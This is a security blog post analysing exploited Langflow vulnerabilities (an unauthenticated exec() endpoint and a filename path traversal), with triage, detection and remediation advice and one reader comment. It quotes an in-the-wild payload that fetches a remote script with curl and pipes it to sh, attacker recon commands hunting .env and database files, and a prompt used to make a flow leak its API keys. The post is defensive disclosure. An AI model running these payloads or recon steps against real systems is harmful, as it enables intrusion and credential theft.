DEV Community

Cover image for How a Single Unauthenticated POST Turns Langflow Into a Public Python Shell
Kerry Kier
Kerry Kier Subscriber

Posted on • Originally published at blog.vertexops.org

How a Single Unauthenticated POST Turns Langflow Into a Public Python Shell

One unauthenticated POST to a Langflow endpoint gets you arbitrary Python execution on the host. No credentials, no proof-of-concept required -- attackers built a working exploit straight from the advisory text and were in the wild within 20 hours. If you run Langflow, LangChain, or LangGraph anywhere, that is the shape of your attack surface now, and the blast radius is every API key those frameworks are holding.

CVE-2026-33017: unauthenticated RCE via the public flow endpoint

Langflow exposes an endpoint whose whole job is to build "public flows," so it is intentionally unauthenticated:

POST /api/v1/build_public_tmp/{flow_id}/flow
Enter fullscreen mode Exit fullscreen mode

In every release before 1.9.0, it accepted attacker-supplied flow data -- Python embedded in the node definitions -- and passed it straight to exec() with no sandbox:

__import__('os').system('curl hxxp://83[.]142[.]209[.]214:8080/isp.sh | sh')
Enter fullscreen mode Exit fullscreen mode

That is CWE-306 (missing authentication) on top of CWE-94 (code injection). One request, no credentials, arbitrary code on the host. CISA added it to the Known Exploited Vulnerabilities catalog on March 25 with an April 8 federal deadline, and Sysdig's honeypots logged exploitation roughly 20 hours after the March 17 advisory -- before any public PoC existed.

CVE-2026-5027: path traversal -> arbitrary file write -> shell

Different door, same host. The file-upload endpoint never sanitized the filename:

POST /api/v2/files
Enter fullscreen mode Exit fullscreen mode

Pack traversal sequences into the filename and you write a file to an arbitrary location. Drop one into /etc/cron.d where permissions allow, and the next cron run is a shell. The CVSS vector formally requires low privileges -- but Langflow ships with auto-login enabled by default, which hands an exposed instance a valid session token on request, so on the deployments that got hit the credential barrier was cosmetic. Tenable disclosed it March 27; in-the-wild exploitation showed up in June. The fix landed in langflow-base 0.8.3 and Langflow 1.9.0.

One caveat that matters for your patch plan: JFrog empirically tested 1.8.2 -- widely reported as fixed -- and found it still exploitable. Verify the fix in whatever version you land on. Do not trust the changelog.

The blast radius is your keys, not your CPU

Here is why this class is worse than a normal RCE. An orchestration framework is a credential concentrator: flows embed provider keys, cloud credentials, and database strings directly in their component configs, because that is how a flow talks to OpenAI or Anthropic or your database. So the recon you see in the honeypot data goes straight for the environment:

env
find /app -name "*.db" -o -name "*.env"
Enter fullscreen mode Exit fullscreen mode

Code execution does not win the attacker your compute. It wins them the pile of keys in the environment, and those keys are liquid. In a later Langflow incident, Sysdig watched an operator hijack a flow and feed it the prompt leak api keys, coaxing a flow that ran with its own embedded credentials into surfacing them.

The pattern is bigger than Langflow

LangChain-core has a path traversal in its legacy prompt-loading API that can read local config and secret-bearing files off disk, depending on file type and deployment. LangGraph carries an insecure-deserialization chain in its SQLite and Redis checkpoint stores that Check Point walked from SQL injection to code execution in self-hosted deployments; managed LangSmith was not affected. Neither has confirmed in-the-wild exploitation yet, and Check Point ships working PoC, so "yet" is doing real work.

These are the same bug classes -- injection, traversal, deserialization -- we have written for decades. What is new is where they live: three layers down in a framework your application code imports. Your WAF never inspects the deserializer, and your EDR waves through the process calls the agent server makes a thousand times a day. As former AWS deputy CISO Merritt Baer put it, when this lands "it will feel like your traditional security program failing" rather than an AI problem.

Triage: are you exposed, and were you hit?

Check what you are actually running:

pip show langflow          # or inspect your container image tag
# Vulnerable: anything before 1.9.0. Per JFrog, confirm empirically -- some "fixed" tags weren't.
Enter fullscreen mode Exit fullscreen mode

Confirm whether the instance is reachable from outside your network at all (from an external host, or via a Shodan/Censys lookup on your own ASN). If a Langflow or LangGraph instance answers to the open internet, treat it as already probed.

Then grep your access logs for hits on the vulnerable endpoints:

grep -E "build_public_tmp|/api/v2/files" access.log
Enter fullscreen mode Exit fullscreen mode

And look for what should not be there: a shell spawned by the app process, reads of .env, new entries in /etc/cron.d, or unexpected outbound connections. This is signature-free territory -- Falco's default ruleset already flags a web process spawning a shell and unexpected outbound connections, which is exactly what you want on day zero, before anyone has written a rule for the specific CVE.

Fixes

  • Get it off the public internet. There is almost no legitimate reason a Langflow or LangGraph instance should answer to the open web. Auth or a VPN in front.
  • Patch to current, then verify the patch closed the hole -- check the commit or run the PoC, don't trust the release note.
  • Rotate every credential the instance could reach -- provider keys, cloud creds, DB strings. If it was exposed during any of these windows, assume they walked.
  • Give each deployment an owner inside the same external attack-surface monitoring as the rest of production. You can't patch what you don't know you're running.
  • Add signature-free runtime detection (Falco or equivalent) for shell-from-web-process and .env reads.

The vulnerabilities here are ordinary. What changed is that we stood up thousands of internet-reachable Python execution environments full of API keys and never put them in the security program that governs everything else we run. If you operate any of this in production: who owns the patch cycle, and how are you finding the instances before an attacker's scanner does?

Top comments (1)

Collapse
 
circuit profile image
Rahul S

The auto-login default is the part that should worry people more than the exec() sink. CVE-2026-5027's vector says PR:L, low privileges required — exactly the signal a CVSS-sorted triage uses to push a finding down the queue. But "privileges required" is scored against the vulnerable code, not against how the software actually ships, and Langflow defaulting to auto-login means an exposed instance just hands out a valid session on request. So PR:L is really PR:N on every deployment that kept the default, and the CVE's own score is quietly arguing for the wrong priority. It generalizes badly too: any "needs auth" finding is unauthenticated-in-practice wherever the product defaults auth-off or ships a public bootstrap path, and your scanner can't tell which of your instances left that toggle alone. When you grep for exposure, grep the auth config, not just the version.